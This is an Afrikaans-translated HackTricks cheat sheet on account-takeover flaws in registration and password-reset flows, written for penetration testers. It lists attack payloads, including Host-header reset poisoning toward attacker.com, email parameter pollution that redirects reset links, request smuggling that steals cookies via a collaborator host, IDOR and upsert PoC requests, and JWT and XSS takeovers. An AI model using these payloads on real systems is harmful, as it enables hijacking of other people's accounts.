Registrasie- en Oorname-kwesbaarhede

Reading time: 8 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Registrasie-oorname

Dubbele Registrasie

  • Probeer om te registreer met 'n bestaande gebruikersnaam
  • Kontroleer deur die e-pos te varieer:
  • hoofletters
  • +1@
  • voeg 'n punt in die e-pos
  • spesiale karakters in die e-pos naam (%00, %09, %20)
  • Plaas leë karakters na die e-pos: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Gebruikersnaam-enumerasie

Kontroleer of jy kan bepaal wanneer 'n gebruikersnaam reeds in die toepassing geregistreer is.

Wagwoordbeleid

Wanneer 'n gebruiker geskep word, kontroleer die wagwoordbeleid (kontroleer of jy swak wagwoorde kan gebruik).
In daardie geval kan jy probeer om credentials te bruteforce.

SQL Injection

Check this page om te leer hoe om account takeovers te probeer of inligting te onttrek via SQL Injections in registrasievorms.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Verander e-pos

Wanneer geregistreer, probeer om die e-pos te verander en kontroleer of hierdie verandering korrek gevalideer word of of jy dit na ewekansige e-posadresse kan verander.

Meer kontroles

  • Kontroleer of jy wegwerp-e-posse kan gebruik
  • Lang wagwoord (>200) lei tot DoS
  • Kontroleer rate-limiete op rekeningskep
  • Gebruik username@burp_collab.net en analiseer die callback

Wagwoordherstel-oorname

Wagwoordherstel Token Leak Via Referrer

  1. Versoek 'n wagwoordherstel na jou e-posadres
  2. Klik op die wagwoordherstel-skakel
  3. Moenie die wagwoord verander nie
  4. Klik op enige 3rd-party webwerwe (bv: Facebook, twitter)
  5. Onderbreek die versoek in Burp Suite proxy
  6. Kontroleer of die referer header die password reset token leak

Password Reset Poisoning

  1. Onderbreek die wagwoordherstel versoek in Burp Suite
  2. Voeg die volgende headers by of wysig in Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Stuur die versoek deur met die gewysigde header
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Soek na 'n wagwoordherstel-URL gebaseer op die host header soos : https://attacker.com/reset-password.php?token=TOKEN

Wagwoordherstel Via e-pos parameter

bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. Aanvaller moet by sy rekening aanmeld en na die Verander wagwoord-funksie gaan.
  2. Begin Burp Suite en onderskep die versoek
  3. Stuur dit na die repeater-oortjie en wysig die parameters: User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

Die password reset token moet ewekansig gegenereer en elke keer uniek wees.
Probeer bepaal of die token verval of altyd dieselfde is; in sommige gevalle is die generasie-algoritme swak en kan geraai word. Die volgende veranderlikes kan deur die algoritme gebruik word.

  • Tydstempel
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Slegs nommers
  • Small token sequence ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
  2. Inspect the server response and check for resetToken
  3. Then use the token in an URL like https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. Registreer op die stelsel met 'n gebruikersnaam identies aan die slagoffer se gebruikersnaam, maar met spasies ingevoeg voor en/of na die gebruikersnaam. e.g: "admin "
  2. Vra 'n password reset aan met jou kwaadwillige gebruikersnaam.
  3. Gebruik die token wat na jou e-pos gestuur is en stel die slagoffer se wagwoord terug.
  4. Meld by die slagoffer se rekening aan met die nuwe wagwoord.

Die platform CTFd was kwesbaar vir hierdie aanval.
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. Vind 'n XSS binne die toepassing of op 'n subdomein as die cookies beperk is tot die ouer-domein: *.domain.com
  2. Leak the current sessions cookie
  3. Meld as die gebruiker aan deur die cookie te gebruik

Account Takeover Via HTTP Request Smuggling

1. Gebruik smuggler om die tipe HTTP Request Smuggling te bepaal (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Skep 'n versoek wat die POST / HTTP/1.1 sal oorskryf met die volgende data:
GET http://something.burpcollaborator.net HTTP/1.1 X: met die doel om 'n open redirect die slagoffers na burpcollab te stuur en hul cookies te steel
3. Die finale versoek kan soos volg lyk

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone rapporteer die uitbuiting van hierdie bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Rekeningoorname via CSRF

  1. Skep 'n payload vir die CSRF, bv.: “HTML form with auto submit for a password change”
  2. Stuur die payload

Rekeningoorname via JWT

JSON Web Token kan gebruik word om 'n gebruiker te verifieer.

  • Wysig die JWT met 'n ander User ID / Email
  • Kontroleer vir swak JWT-handtekening

JWT Vulnerabilities (Json Web Tokens)

Registrasie-as-Reset (Upsert on Existing Email)

Sommige signup handlers voer 'n upsert uit wanneer die verskafde email reeds bestaan. As die endpoint 'n minimale body met 'n email en password aanvaar en nie eienaarskapverifikasie afdwing nie, sal die stuur van die slagoffer se email hul password voor authentisering oorskryf.

  • Ontdekking: oes endpointname uit gebundelde JS (of mobiele app-verkeer), en fuzz dan basispaaie soos /parents/application/v4/admin/FUZZ met ffuf/dirsearch.
  • Metode-wenke: 'n GET wat boodskappe soos "Only POST request is allowed." teruggee, dui dikwels die korrekte verb aan en dat 'n JSON body verwag word.
  • Minimale body waargeneem in die wild:
json
{"email":"victim@example.com","password":"New@12345"}

Voorbeeld PoC:

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impak: Full Account Takeover (ATO) sonder enige reset token, OTP, of email verification.

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks